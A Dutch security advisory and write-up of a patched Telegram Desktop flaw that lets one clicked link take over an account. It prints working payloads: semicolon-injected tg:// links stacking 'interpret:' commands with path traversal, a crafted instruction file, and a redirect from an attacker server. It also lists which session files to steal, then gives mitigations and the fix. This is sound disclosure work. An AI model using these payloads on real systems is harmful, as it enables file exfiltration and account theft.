Telegram Desktop: accountovername met één klik via IPC-injectie
Details van de kwetsbaarheid:
- Beïnvloed: Telegram Desktop tot en met versie 7.2.8, bevestigd op Windows (6.9.3).
- Impact: Remote willekeurig lezen van lokale bestanden, geëxfiltreerd naar een door de aanvaller gecontroleerde chat; volledige accountovername.
- CVE: CVE-2026-107181.
- Opgelost in: 7.2.9, commit
db3405699f. - Ernst: 8.1 High (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N).
Inleiding
Iemand voegt je toe aan een Telegram-groep. Er verschijnt een link in de chat. Je klikt erop, en plotseling is je Telegram-account niet meer alleen van jou.
Hoe is dit mogelijk? Telegram Desktop stuurt aangeklikte links naar de reeds actieve instantie via een lokale socket, in tekstvorm. De applicatie ontsnapt (escapes) het teken dat wordt gebruikt om commando's te scheiden niet. Hierdoor komt een zorgvuldig samengestelde link niet aan als één instructie, maar als meerdere instructies.
De ontdekte aanvalsketen bevat twee defecten. Het eerste is de injectie. Het tweede is waar het geïnjecteerde commando toegang toe heeft: een intern URI-schema, interpret:, dat een bestand leest dat in een instructiebestand wordt genoemd en dit naar een chat stuurt, zonder te controleren wie erom vraagt en zonder bevestiging. Samen maken ze van een aangeklikte link een methode om willekeurige bestanden te lezen. In dit artikel wordt de keten stap voor stap uitgelegd en gedemonstreerd hoe hiermee de inlogbestanden van een slachtoffer kunnen worden gestolen.
Eén link, twee processen
Besturingssystemen laten programma's een URI-schema registreren, zodat ze weten welke applicatie ze moeten starten bij een link van dat type. Telegram Desktop registreert tg://. Het systeem weet vanaf dat moment dat een tg://... link bij Telegram hoort en start de applicatie met de URL als opdrachtregelargument.
Als Telegram niet is opgestart, start het proces, neemt de string als parameter, zet deze om in een URL-object en verwerkt deze intern.
Wanneer Telegram echter al draait, start het besturingssysteem alsnog een nieuw proces dat identiek is aan het eerste. Telegram moet zelf uitzoeken dat dit proces overbodig is. Dit doet het door te proberen verbinding te maken met een lokale socket.
De reeds draaiende instantie fungeert als server en luistert op die socket. Het nieuwe proces is de client. Als de verbinding slaagt, wordt de link overgedragen aan de actieve instantie en sluit het nieuwe proces af.
Een socket transporteert bytes, geen objecten. Het URL-object in het geheugen van het nieuwe proces moet dus worden omgezet in een regel tekst. Dit proces heet serialisatie; het herstellen van het object uit de tekst heet deserialisatie.
Telegram gebruikt hiervoor een eigen, eenvoudig formaat. Elke instructie bestaat uit een trefwoord, gevolgd door het argument en een puntkomma (;) die de instructie afsluit. Een link om te openen wordt:
OPEN:tg://x?a=1;
Deze regel wordt als volgt opgebouwd:
// sandbox.cpp:295-297
for (const auto &url : cRefStartUrls()) {
commands += u"OPEN:"_q + url.toString(QUrl::FullyEncoded) + ';';
}
Aan de andere kant deserialiseert de actieve instantie de data: hij leest de ontvangen bytes, knipt deze bij elke puntkomma en behandelt elk deel als een aparte instructie. Voor elk deel dat begint met OPEN: wordt de rest als een URL behandeld.
// sandbox.cpp:453-463 (verkort)
for (int32 to = cmds.indexOf(QChar(';'), from); to >= from; ...) {
auto cmd = base::StringViewMid(cmds, from, to - from);
...
} else if (cmd.startsWith(u"OPEN:"_q)) {
startUrls.append(cmds.mid(from + 5, to - from - 5).mid(0, 8192));
De niet-geëscapeerde scheider
Wat gebeurt er als een van de verzonden waarden zelf een puntkomma bevat, precies het teken dat het formaat als scheider gebruikt? Neem de link van eerder en voeg iets toe:
tg://x?a=1;CMD:quit
Het nieuwe proces behandelt dit als één enkele URL, omdat de puntkomma binnen de query staat. Het schrijft dit naar de socket als:
OPEN:tg://x?a=1;CMD:quit;
De actieve instantie knipt echter bij elke puntkomma en ontvangt twee instructies in plaats van één:
OPEN:tg://x?a=1CMD:quit
Dit is de injectie, en het is het eerste van de twee defecten.
Het interpret: URI-schema
In het bovenstaande voorbeeld werd CMD: geïnjecteerd, maar dit commando accepteert alleen show en quit, waardoor het hooguit de app kan afsluiten. Er worden in totaal vier commando's geaccepteerd, waarvan er drie ongevaarlijk zijn. Het vierde is OPEN:, en dat is het cruciale detail: het accepteert elke URL, zonder filter op het schema.
Bij nader onderzoek in de code komt een ander URI-schema naar voren: interpret:. Het besturingssysteem weet niet wat het met een link die begint met interpret: aan moet, omdat dit nergens als protocolhandler is geregistreerd. Het bestaat alleen binnen de code van Telegram.
// application.cpp:1162-1164
if (url.scheme() == u"interpret"_q) {
interprets.append(url.path());
return false;
}
Via OPEN: is dit schema dus bereikbaar: tg://x?a=1;OPEN:interpret:instructions.txt
Wat is het doel van interpret:? Het was de tool die Telegram gebruikte om eigen releases te publiceren. Een script schreef een klein tekstbestand met de naam van het kanaal, het bestand dat verzonden moest worden en de bijbehorende tekst, en startte vervolgens Telegram met het pad naar dat bestand.
# Telegram/build/updates.py:206
subprocess.call(... 'Telegram -sendpath interpret://' + scriptPath + '/.../command.txt', shell=True)
Een dergelijk instructiebestand ziet er zo uit:
from: 1234567890
channel: 1987654321
file: out/Release/deploy/6.9.3/tsetup.6.9.3.exe
caption: TDesktop at 12.06.26:
- Fixed a crash in the media viewer.
- Added a new sticker pack.
De waarde van from: wordt vergeleken met de ID van het ingelogde account om te voorkomen dat een release vanaf het verkeerde account wordt gepubliceerd. Als deze regel ontbreekt, wordt de controle overgeslagen. De bestemming wordt bepaald door channel: en moet een kanaal of supergroep zijn.
De functie InterpretSendPath voert het werk uit. De bug is dat interpret: een bevoorrechte actie uitvoert — het lezen van elk willekeurig bestand van de schijf en het verzenden ervan naar een chat — zonder om bevestiging te vragen en zonder te controleren wie de aanvraag doet.
// support_helper.cpp:673-680
QString InterpretSendPath(
not_null<Window::SessionController*> window,
const QString &path) {
QFile f(path);
if (!f.open(QIODevice::ReadOnly)) {
return "App Error: Could not open interpret file: " + path;
}
const auto content = QString::fromUtf8(f.readAll());
Wanneer dit via de opdrachtregel gebeurt (zoals bij het release-script), is er geen probleem, want de aanvaller heeft dan al toegang tot de machine. Maar zodra deze actie bereikbaar is via de socket en dus via injectie, wordt een gevaarlijke functie beschikbaar via een link waarop een slachtoffer klikt. Dit is een ontbrekende autorisatie, het tweede defect.
Het instructiebestand op de schijf krijgen
Een aanvaller die een instructiebestand op de schijf van het slachtoffer kan plaatsen, kan elk bestand exfiltreren via een klikbare link. Hoe plaatst een aanvaller een tekstbestand op een voorspelbaar pad? De meest logische manier is door het als bijlage in een chat te sturen.
In de standaardconfiguratie downloadt Telegram Desktop bestanden in groepen tot 8 MiB automatisch. Het bestand komt terecht in een standaardmap, onder de naam die de verzender heeft gekozen.
Op Windows is dit pad: C:\Users\<user>\Downloads\Telegram Desktop\<bestandsnaam>
Hoewel de gebruikersnaam onbekend is, accepteert interpret: ook relatieve paden. Deze worden opgelost vanaf de werkmap van Telegram (%APPDATA%\Telegram Desktop). Omdat de map Downloads zich direct in de home-directory van de gebruiker bevindt, kan een pad als volgt worden geformuleerd:
interpret:../../../Downloads/Telegram%20Desktop/instructions.txt
Hiermee krijgt de aanvaller een deterministisch pad zonder de gebruikersnaam te kennen.
Van bestand lezen naar accountovername
InterpretSendPath verzendt precies één bestand per aanroep. Als een instructiebestand meerdere file: regels bevat, telt alleen de laatste. Een aanvaller kan dit omzeilen door meerdere instructiebestanden te plaatsen en meerdere commando's in één link te stapelen via de puntkomma-injectie:
tg://x?a=1
;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions1.txt
;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions2.txt
;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions3.txt
De aanvaller kan hiermee gevoelige data stelen, zoals SSH-sleutels of browserwachtwoorden. In het geval van Telegram is het doel de sessie-autorisatie.
Telegram versleutelt lokale data. Er zijn twee sleutels betrokken: de DEK (Data Encryption Key), die de data versleutelt, en de KEK (Key Encryption Key), die de DEK versleutelt. De KEK wordt afgeleid van het wachtwoord via een KDF (Key Derivation Function) en een salt.
Standaard heeft Telegram Desktop geen lokaal wachtwoord. In dat geval is het wachtwoord een lege string. De KEK wordt dan afgeleid van de lege string en een salt die in het bestand tdata/key_datas staat. Wie dit bestand kan lezen, kan de KEK herberekenen en de DEK ontsleutelen.
Om een account volledig over te nemen, zijn drie bestanden nodig:
tdata/key_datas: de salt en de versleutelde DEK.tdata/D877F783D5D3EF8Cs: de MTProto-autorisatie, versleuteld met de DEK.tdata/D877F783D5D3EF8C/maps: de index van de opgeslagen data van het account.
De mapnaam (D877...) is niet willekeurig, maar wordt afgeleid van de string data, wat betekent dat deze op elke installatie identiek is. Wanneer een aanvaller deze drie bestanden bezit, kan hij ze in een verse tdata map plaatsen en de sessie van het slachtoffer openen.
De link bezorgen
De aanval vereist één klik van het slachtoffer, en deze moet van buiten Telegram komen. Een tg:// link die binnen een Telegram-chat wordt aangeklikt, wordt in-process afgehandeld en bereikt de socket niet. Daarom stuurt de aanvaller een gewone HTTPS-link die door een eigen server wordt omgeleid naar de samengestelde tg:// link.
Voorbeeld van de redirect:
GET /rules HTTP/1.1
Host: corvus.sec
HTTP/1.1 302 Found
Location: tg://x?a=1;OPEN:interpret:instructions.txt
Proof of Concept
- De aanvaller maakt een supergroep aan en voegt het slachtoffer toe.
- De aanvaller plaatst drie instructietekstbestanden in de groep (voor de drie benodigde
tdatabestanden), waarbij de eigen groep als bestemming wordt opgegeven. Defrom:regel wordt weggelaten om de accountcontrole te omzeilen. - De aanvaller stuurt een onschadelijk ogende link in de chat:
https://corvus.sec/rules. - Het slachtoffer klikt op de link. De browser volgt de redirect naar de
tg://URL met de gestapelde commando's. - Het besturingssysteem start een tweede Telegram-proces, dat de URL via de socket doorstuurt naar het actieve proces. De injectie wordt geactiveerd.
- De drie
interpret:commando's worden uitgevoerd en de bestanden worden geüpload naar de groep van de aanvaller. Er verschijnt geen bevestigingsvenster. - De aanvaller reconstrueert de
tdataen opent het account van het slachtoffer.
Mitigaties
- Update naar 7.2.9 of later. Dit is de enige manier om het probleem definitief op te lossen.
- Schakel "vragen waar elk bestand moet worden opgeslagen" in. Hiermee wordt automatische download uitgeschakeld, waardoor het instructiebestand nooit op de schijf terechtkomt.
- Beperk wie je aan groepen kan toevoegen tot alleen je contacten.
- Stel een lokaal wachtwoord in. Dit voorkomt niet dat bestanden worden gestolen, maar maakt de gestolen sessie onbruikbaar.
De fix
De kwetsbaarheid is opgelost in commit db3405699f op 16 september 2026. Deze commit verwijdert het interpret:// schema en Support::InterpretSendPath volledig. Daarnaast wordt de record-scheider op de single-instance socket nu geëscapeerd via percent-hex encoding, waardoor een puntkomma in de data niet langer als grens kan fungeren.
Daarnaast zijn twee extra maatregelen toegevoegd: CMD: en CTRL: records worden overgeslagen wanneer dezelfde verbinding een OPEN: bevat, en lokale bestandspaden worden genegeerd zodra er een niet-lokale URL op die verbinding is verschenen.
Tijdlijn
| Datum | Gebeurtenis |
|---|---|
| 2026-06-25 | Gemeld via ZDI |
| 2026-09-16 | Vendor lost het probleem onafhankelijk op (commit db3405699f) |
| 2026-09-17 | Telegram Desktop 7.2.9 gepubliceerd |
| 2026-09-30 | ZDI sluit de zaak als reeds opgelost; publicatierechten keren terug naar de onderzoeker |
| 2026-10-03 | Publicatie van dit artikel |
| 2026-10-07 | CVE-2026-107181 toegewezen |
Groetjes,